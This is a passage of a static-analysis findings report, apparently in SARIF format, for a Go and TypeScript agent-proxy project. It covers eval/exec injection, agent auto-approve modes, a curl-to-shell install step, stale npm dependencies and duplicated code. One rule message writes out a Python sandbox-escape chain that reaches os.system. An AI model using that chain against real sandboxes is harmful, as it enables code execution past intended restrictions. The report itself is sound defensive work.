"code|injection|token|64|sec045"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/groupchat/buffer_redis.go"}, "region": {"startLine": 64}}}]}, {"ruleId": "SEC045", "level": "warning", "message": {"text": "[SEC045] eval()/exec() on stored or user-supplied data: eval() and exec() on data \u2014 even admin-stored data \u2014 is a lateral-movement vector after any one credential compromise. Sandboxes (__builtins__ cleared) are escapable: attackers use object introspection (().__class__.__mro__[-1].__subclasses__()) to reach os.system. CWE-95 (eval injection)."}, "properties": {"repobilityId": 113345, "scanner": "repobility-threat-engine", "fingerprint": "f74798cb3e6397a53b17ec298da9dff0df9dd68a7f6bc5b673e0d68d9df141ee", "category": "injection", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": ".Exec(", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC045", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "code|injection|token|36|sec045"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/pairing_store_redis.go"}, "region": {"startLine": 36}}}]}, {"ruleId": "SEC045", "level": "warning", "message": {"text": "[SEC045] eval()/exec() on stored or user-supplied data: eval() and exec() on data \u2014 even admin-stored data \u2014 is a lateral-movement vector after any one credential compromise. Sandboxes (__builtins__ cleared) are escapable: attackers use object introspection (().__class__.__mro__[-1].__subclasses__()) to reach os.system. CWE-95 (eval injection)."}, "properties": {"repobilityId": 113344, "scanner": "repobility-threat-engine", "fingerprint": "da88e0c8109981451c28da54faa28d9671fb08c43845af33d0f27e0392075b1b", "category": "injection", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": ".Exec(", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC045", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "code|injection|token|44|sec045"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/extraction_tracker_redis.go"}, "region": {"startLine": 44}}}]}, {"ruleId": "AGT013", "level": "warning", "message": {"text": "Agent auto-approve or skip-permissions mode is easy to enable"}, "properties": {"repobilityId": 113318, "scanner": "repobility-agent-runtime", "fingerprint": "bb854c1cf95ddf15c64f6a65be1c6557facd0f5ba8c764e57f4ed0cb936fc08d", "category": "quality", "severity": "medium", "confidence": 0.68, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "File exposes or configures a broad agent auto-approval mode without enough local guard wording.", "evidence": {"rule_id": "AGT013", "scanner": "repobility-agent-runtime", "references": [], "correlation_key": "fp|bb854c1cf95ddf15c64f6a65be1c6557facd0f5ba8c764e57f4ed0cb936fc08d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Agents.tsx"}, "region": {"startLine": 794}}}]}, {"ruleId": "AGT007", "level": "warning", "message": {"text": "localStorage write failures are swallowed silently"}, "properties": {"repobilityId": 113317, "scanner": "repobility-agent-runtime", "fingerprint": "2fcb40236e76d61cc871c81145d5c2b4c217a98983aced1fa224a63d3efb0546", "category": "quality", "severity": "medium", "confidence": 0.8, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "File writes to localStorage and has an empty or ignore-only catch block without QuotaExceededError handling.", "evidence": {"rule_id": "AGT007", "scanner": "repobility-agent-runtime", "references": ["https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API"], "correlation_key": "fp|2fcb40236e76d61cc871c81145d5c2b4c217a98983aced1fa224a63d3efb0546"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/hooks/useAuth.tsx"}, "region": {"startLine": 10}}}]}, {"ruleId": "AGT013", "level": "warning", "message": {"text": "Agent auto-approve or skip-permissions mode is easy to enable"}, "properties": {"repobilityId": 113316, "scanner": "repobility-agent-runtime", "fingerprint": "388793accc335a100eea6bfe0c464f118225ff668e87efee3e5dfd2f8f54f8bb", "category": "quality", "severity": "medium", "confidence": 0.68, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "File exposes or configures a broad agent auto-approval mode without enough local guard wording.", "evidence": {"rule_id": "AGT013", "scanner": "repobility-agent-runtime", "references": [], "correlation_key": "fp|388793accc335a100eea6bfe0c464f118225ff668e87efee3e5dfd2f8f54f8bb"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/intent/testdata/eval_cases.json"}, "region": {"startLine": 2502}}}]}, {"ruleId": "AGT015", "level": "warning", "message": {"text": "Remote install command pipes network code directly to a shell"}, "properties": {"repobilityId": 113315, "scanner": "repobility-agent-runtime", "fingerprint": "fac43eceaf76f6478299c13f6235ef6a7396bea75e7c6a78caaf1e0598cd853a", "category": "dependency", "severity": "medium", "confidence": 0.7, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "File contains a remote download piped directly to a shell without visible checksum or signature verification.", "evidence": {"rule_id": "AGT015", "scanner": "repobility-agent-runtime", "references": [], "correlation_key": "fp|fac43eceaf76f6478299c13f6235ef6a7396bea75e7c6a78caaf1e0598cd853a"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/e2e-install.yml"}, "region": {"startLine": 26}}}]}, {"ruleId": "DEPCUR-NPM", "level": "warning", "message": {"text": "npm package `@vitejs/plugin-react` is 1 major version(s) behind (5.1.4 -> 6.0.2)"}, "properties": {"repobilityId": 113311, "scanner": "repobility-dependency-currency", "fingerprint": "1204b937b156693a4b6ab0bbf66786e711d097c4523db1b131527e9427dbf269", "category": "dependency", "severity": "medium", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "1 major version(s) behind", "signal": "currency", "cwe_ids": [], "package": "@vitejs/plugin-react", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "6.0.2", "correlation_key": "fp|1204b937b156693a4b6ab0bbf66786e711d097c4523db1b131527e9427dbf269", "current_version": "5.1.4"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DEPCUR-NPM", "level": "warning", "message": {"text": "npm package `@types/react-dom` is 1 major version(s) behind (18.3.7 -> 19.2.3)"}, "properties": {"repobilityId": 113310, "scanner": "repobility-dependency-currency", "fingerprint": "8ebeb492dddf43a3117eef695cccac0a916227ee5c0e5f52ed60112d4f230a87", "category": "dependency", "severity": "medium", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "1 major version(s) behind", "signal": "currency", "cwe_ids": [], "package": "@types/react-dom", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "19.2.3", "correlation_key": "fp|8ebeb492dddf43a3117eef695cccac0a916227ee5c0e5f52ed60112d4f230a87", "current_version": "18.3.7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "MINED111", "level": "warning", "message": {"text": "Bare except continues silently"}, "properties": {"repobilityId": 113270, "scanner": "repobility-ast-engine", "fingerprint": "e33e6d98a5e00df6e3a56cc30d9227375210723ac11f331c004960c96ab417c9", "category": "quality", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "bare-except-without-pass", "owasp": null, "cwe_ids": [], "languages": ["python"], "observations_count": 21610}, "scanner": "repobility-ast-engine", "correlation_key": "fp|e33e6d98a5e00df6e3a56cc30d9227375210723ac11f331c004960c96ab417c9"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 123}}}]}, {"ruleId": "AIC004", "level": "warning", "message": {"text": "Suspicious implementation file appears unreferenced"}, "properties": {"repobilityId": 113214, "scanner": "repobility-ai-code-hygiene", "fingerprint": "d995578dae70c39ba4ac7a86a4aba689f65422f19932a0f9eff1d2d6ff194b09", "category": "quality", "severity": "medium", "confidence": 0.78, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "Patch-style source file has no detected inbound reference from other repository files.", "evidence": {"suffix": "rewrite", "rule_id": "AIC004", "scanner": "repobility-ai-code-hygiene", "references": ["https://knip.dev/", "https://github.com/jendrikseipp/vulture"], "correlation_key": "fp|d995578dae70c39ba4ac7a86a4aba689f65422f19932a0f9eff1d2d6ff194b09"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inline_task_rewrite.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "AIC004", "level": "warning", "message": {"text": "Suspicious implementation file appears unreferenced"}, "properties": {"repobilityId": 113213, "scanner": "repobility-ai-code-hygiene", "fingerprint": "3c6af53ca58594f176eef80fdf64c619e0d7f6b6e3aa766d03e63657df548781", "category": "quality", "severity": "medium", "confidence": 0.78, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "Patch-style source file has no detected inbound reference from other repository files.", "evidence": {"suffix": "update", "rule_id": "AIC004", "scanner": "repobility-ai-code-hygiene", "references": ["https://knip.dev/", "https://github.com/jendrikseipp/vulture"], "correlation_key": "fp|3c6af53ca58594f176eef80fdf64c619e0d7f6b6e3aa766d03e63657df548781"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_auto_update.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKC010", "level": "note", "message": {"text": "Compose service lacks no-new-privileges hardening"}, "properties": {"repobilityId": 113405, "scanner": "repobility-docker", "fingerprint": "f9218cd02acdc2306d5e4aa57c50c554a3369884ed2eaa778183ead278638811", "category": "docker", "severity": "low", "confidence": 0.62, "triageState": "open", "verdict": "needs_review", "isResolved": false, "reason": "App-like service has no security_opt no-new-privileges setting.", "evidence": {"rule_id": "DKC010", "scanner": "repobility-docker", "service": "app", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html"], "correlation_key": "fp|f9218cd02acdc2306d5e4aa57c50c554a3369884ed2eaa778183ead278638811"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/docker-compose.yml"}, "region": {"startLine": 19}}}]}, {"ruleId": "SEC132", "level": "note", "message": {"text": "[SEC132] String concat where the language has interpolation (AI style drift): String built by concatenation where the language has cleaner interpolation (Python f-strings since 3.6, JS template literals since ES6). Not a vulnerability on its own, but a style signature of cross-language AI rewrites \u2014 the model wrote idiomatic Java/C# and then translated mechanically. When this style appears in only *some* files of a repo, it's a strong indicator of an AI-driven rewrite that needs a human review p"}, "properties": {"repobilityId": 113360, "scanner": "repobility-threat-engine", "fingerprint": "40a1b6a206ba6827d07cdbb122fba9d8ee73652244f910cd60e80244ada9e1a0", "category": "quality", "severity": "low", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "\"/api/tasks/\" + id + \"/complete\"", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC132", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|40a1b6a206ba6827d07cdbb122fba9d8ee73652244f910cd60e80244ada9e1a0"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/mcp/tools_exec.go"}, "region": {"startLine": 160}}}]}, {"ruleId": "SEC132", "level": "note", "message": {"text": "[SEC132] String concat where the language has interpolation (AI style drift): String built by concatenation where the language has cleaner interpolation (Python f-strings since 3.6, JS template literals since ES6). Not a vulnerability on its own, but a style signature of cross-language AI rewrites \u2014 the model wrote idiomatic Java/C# and then translated mechanically. When this style appears in only *some* files of a repo, it's a strong indicator of an AI-driven rewrite that needs a human review p"}, "properties": {"repobilityId": 113359, "scanner": "repobility-threat-engine", "fingerprint": "5beb860edd4eec5fc8a01a2c35a2f4770532d4484c804c5eb7fbe33731bbc94a", "category": "quality", "severity": "low", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "\"\\nauto_update:\\n\" + enabledLine + \"\\n  check_interval: \\\"", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC132", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|5beb860edd4eec5fc8a01a2c35a2f4770532d4484c804c5eb7fbe33731bbc94a"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/daemon/auto_update.go"}, "region": {"startLine": 94}}}]}, {"ruleId": "SEC132", "level": "note", "message": {"text": "[SEC132] String concat where the language has interpolation (AI style drift): String built by concatenation where the language has cleaner interpolation (Python f-strings since 3.6, JS template literals since ES6). Not a vulnerability on its own, but a style signature of cross-language AI rewrites \u2014 the model wrote idiomatic Java/C# and then translated mechanically. When this style appears in only *some* files of a repo, it's a strong indicator of an AI-driven rewrite that needs a human review p"}, "properties": {"repobilityId": 113358, "scanner": "repobility-threat-engine", "fingerprint": "f98b26f8d661ce63658c86ebafe8b44b943cf008b8db4d503ed0dc88bb7b7e90", "category": "quality", "severity": "low", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "\"http://localhost:\" + port + \"/ready\"", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC132", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|f98b26f8d661ce63658c86ebafe8b44b943cf008b8db4d503ed0dc88bb7b7e90"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_healthcheck.go"}, "region": {"startLine": 21}}}]}, {"ruleId": "ERR003", "level": "note", "message": {"text": "[ERR003] Ignored Error (Go): Ignoring error return values."}, "properties": {"repobilityId": 113327, "scanner": "repobility-threat-engine", "fingerprint": "8686e81c279eb22eefb423cbaa1fc53a1513ae1c0b9ffdf0d7017d25050ac97c", "category": "error_handling", "severity": "low", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "_ = rc.SetWriteDeadline(", "reason": "Pattern matched with no mitigating context found", "rule_id": "ERR003", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|8686e81c279eb22eefb423cbaa1fc53a1513ae1c0b9ffdf0d7017d25050ac97c"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/adaptergen.go"}, "region": {"startLine": 189}}}]}, {"ruleId": "ERR003", "level": "note", "message": {"text": "[ERR003] Ignored Error (Go): Ignoring error return values."}, "properties": {"repobilityId": 113326, "scanner": "repobility-threat-engine", "fingerprint": "9543debdb5f4acbcd9364825b20418598e5c1010a180fc0729bf8c25dbc92d6f", "category": "error_handling", "severity": "low", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "_ = json.Unmarshal(", "reason": "Pattern matched with no mitigating context found", "rule_id": "ERR003", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|9543debdb5f4acbcd9364825b20418598e5c1010a180fc0729bf8c25dbc92d6f"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/microsoft/onedrive/adapter.go"}, "region": {"startLine": 282}}}]}, {"ruleId": "ERR003", "level": "note", "message": {"text": "[ERR003] Ignored Error (Go): Ignoring error return values."}, "properties": {"repobilityId": 113325, "scanner": "repobility-threat-engine", "fingerprint": "254e2056d7ed39d54c5c7147494232162001c76d751790643d2e35c89dc9ad68", "category": "error_handling", "severity": "low", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "_ = json.Unmarshal(", "reason": "Pattern matched with no mitigating context found", "rule_id": "ERR003", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|254e2056d7ed39d54c5c7147494232162001c76d751790643d2e35c89dc9ad68"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/dropbox/adapter.go"}, "region": {"startLine": 171}}}]}, {"ruleId": "DEPCUR-NPM", "level": "note", "message": {"text": "npm package `ws` is minor version(s) behind (^8.19.0 -> 8.21.0)"}, "properties": {"repobilityId": 113314, "scanner": "repobility-dependency-currency", "fingerprint": "fd23a4ce1795196365ce6d5bd44f45f68a31e7f8fd85a46221d27575ef3fde70", "category": "dependency", "severity": "low", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "minor version(s) behind", "signal": "currency", "cwe_ids": [], "package": "ws", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "8.21.0", "correlation_key": "fp|fd23a4ce1795196365ce6d5bd44f45f68a31e7f8fd85a46221d27575ef3fde70", "current_version": "^8.19.0"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "extensions/clawvisor-webhook/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DEPCUR-NPM", "level": "note", "message": {"text": "npm package `autoprefixer` is minor version(s) behind (10.4.24 -> 10.5.0)"}, "properties": {"repobilityId": 113312, "scanner": "repobility-dependency-currency", "fingerprint": "194ef63e50172d99c4aafb9d4d5dc3e172b25cc659bca7bf239fc34b1d9f5d0a", "category": "dependency", "severity": "low", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "minor version(s) behind", "signal": "currency", "cwe_ids": [], "package": "autoprefixer", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "10.5.0", "correlation_key": "fp|194ef63e50172d99c4aafb9d4d5dc3e172b25cc659bca7bf239fc34b1d9f5d0a", "current_version": "10.4.24"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DEPCUR-NPM", "level": "note", "message": {"text": "npm package `recharts` is minor version(s) behind (3.7.0 -> 3.8.1)"}, "properties": {"repobilityId": 113309, "scanner": "repobility-dependency-currency", "fingerprint": "e8a2d56d51a7abca186d0400042d0250e012f8a1f7379b11db5d226590946a11", "category": "dependency", "severity": "low", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "minor version(s) behind", "signal": "currency", "cwe_ids": [], "package": "recharts", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "3.8.1", "correlation_key": "fp|e8a2d56d51a7abca186d0400042d0250e012f8a1f7379b11db5d226590946a11", "current_version": "3.7.0"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DEPCUR-NPM", "level": "note", "message": {"text": "npm package `@tanstack/react-query` is minor version(s) behind (5.90.21 -> 5.101.0)"}, "properties": {"repobilityId": 113307, "scanner": "repobility-dependency-currency", "fingerprint": "bb9fea344e70d233a6a1ef2e34accf4340a9a6ad140b84298055eaa31457e974", "category": "dependency", "severity": "low", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "minor version(s) behind", "signal": "currency", "cwe_ids": [], "package": "@tanstack/react-query", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "5.101.0", "correlation_key": "fp|bb9fea344e70d233a6a1ef2e34accf4340a9a6ad140b84298055eaa31457e974", "current_version": "5.90.21"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113244, "scanner": "repobility-ai-code-hygiene", "fingerprint": "2856212f6be2409b01a5683ca6a0aa4dca67d92c248623f8eb6436b6728fdc71", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/tui/screens/agents.go", "duplicate_line": 91, "correlation_key": "fp|2856212f6be2409b01a5683ca6a0aa4dca67d92c248623f8eb6436b6728fdc71"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/tui/screens/restrictions.go"}, "region": {"startLine": 70}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113243, "scanner": "repobility-ai-code-hygiene", "fingerprint": "2dfb243eea5c02466c1adf6440d275649cabac645974b63385afd188d94a3403", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/tui/screens/dashboard.go", "duplicate_line": 525, "correlation_key": "fp|2dfb243eea5c02466c1adf6440d275649cabac645974b63385afd188d94a3403"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/tui/screens/helpers.go"}, "region": {"startLine": 32}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113242, "scanner": "repobility-ai-code-hygiene", "fingerprint": "5429fbc987310ba53034647ea170247142eabca2d8515e6e667e1308acbc1cdc", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/tasks/envelope.go", "duplicate_line": 6, "correlation_key": "fp|5429fbc987310ba53034647ea170247142eabca2d8515e6e667e1308acbc1cdc"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/tui/client/types.go"}, "region": {"startLine": 138}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113241, "scanner": "repobility-ai-code-hygiene", "fingerprint": "4104221f58b2f0e46bf59fdb728b9e6743a9b8d203a54a8dbaaa8d66a56bf005", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/daemon/setup.go", "duplicate_line": 399, "correlation_key": "fp|4104221f58b2f0e46bf59fdb728b9e6743a9b8d203a54a8dbaaa8d66a56bf005"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/setup/setup.go"}, "region": {"startLine": 201}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113240, "scanner": "repobility-ai-code-hygiene", "fingerprint": "eaa3752b5d1b301ac87ca51fb87b3604db4ef26c8ae45d55137be2df9bfe0f59", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/llmproxy/pending_secret_redis.go", "duplicate_line": 30, "correlation_key": "fp|eaa3752b5d1b301ac87ca51fb87b3604db4ef26c8ae45d55137be2df9bfe0f59"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/secret_detection.go"}, "region": {"startLine": 118}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113239, "scanner": "repobility-ai-code-hygiene", "fingerprint": "0fb77f5d4e3ec546ce321a430608027b0563342c53eece06094b6b2f8682e3ed", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/llmproxy/pending_approval_cache.go", "duplicate_line": 135, "correlation_key": "fp|0fb77f5d4e3ec546ce321a430608027b0563342c53eece06094b6b2f8682e3ed"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/pending_approval_cache_redis.go"}, "region": {"startLine": 34}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113238, "scanner": "repobility-ai-code-hygiene", "fingerprint": "326a73f925c6e93fe1b73db80d798c967da9a2b7e153e83431e00aea6b84e85b", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/llmproxy/inspector/validator_anthropic.go", "duplicate_line": 137, "correlation_key": "fp|326a73f925c6e93fe1b73db80d798c967da9a2b7e153e83431e00aea6b84e85b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/validator_llm.go"}, "region": {"startLine": 83}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113237, "scanner": "repobility-ai-code-hygiene", "fingerprint": "0d69b039a11833731a90a0b056b3f69266607516f55e2f7f1934c7898a036700", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/llmproxy/approval_body_editor.go", "duplicate_line": 384, "correlation_key": "fp|0d69b039a11833731a90a0b056b3f69266607516f55e2f7f1934c7898a036700"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/human_turns.go"}, "region": {"startLine": 142}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113236, "scanner": "repobility-ai-code-hygiene", "fingerprint": "0e68074b6a4a2deb604164419b1f215ff37001055cdc5e90e3c6e49d71a164e1", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/conversation/approval_release.go", "duplicate_line": 129, "correlation_key": "fp|0e68074b6a4a2deb604164419b1f215ff37001055cdc5e90e3c6e49d71a164e1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/human_turns.go"}, "region": {"startLine": 139}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113235, "scanner": "repobility-ai-code-hygiene", "fingerprint": "5d79a45dc88fef720507d89fd4dbcc38c940502e052eeac13f25474337bc7a29", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/api/handlers/proxy_resolver.go", "duplicate_line": 609, "correlation_key": "fp|5d79a45dc88fef720507d89fd4dbcc38c940502e052eeac13f25474337bc7a29"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/forward.go"}, "region": {"startLine": 305}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113234, "scanner": "repobility-ai-code-hygiene", "fingerprint": "c5185d262f0af9543a7e75e2b353433c6c5de04ec8a24f7e3b193503b35f773c", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/runtime/conversation/approval_release.go", "duplicate_line": 129, "correlation_key": "fp|c5185d262f0af9543a7e75e2b353433c6c5de04ec8a24f7e3b193503b35f773c"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/approval_body_editor.go"}, "region": {"startLine": 381}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113233, "scanner": "repobility-ai-code-hygiene", "fingerprint": "64d410b70906c805bb0cb3af8a065fc4087dc0c4f7cd6c4d53f3010de08a37c7", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/clawvisorcli/cmd_agent_docker.go", "duplicate_line": 651, "correlation_key": "fp|64d410b70906c805bb0cb3af8a065fc4087dc0c4f7cd6c4d53f3010de08a37c7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/isolation/compose.go"}, "region": {"startLine": 186}}}]}, {"ruleId": "AIC003", 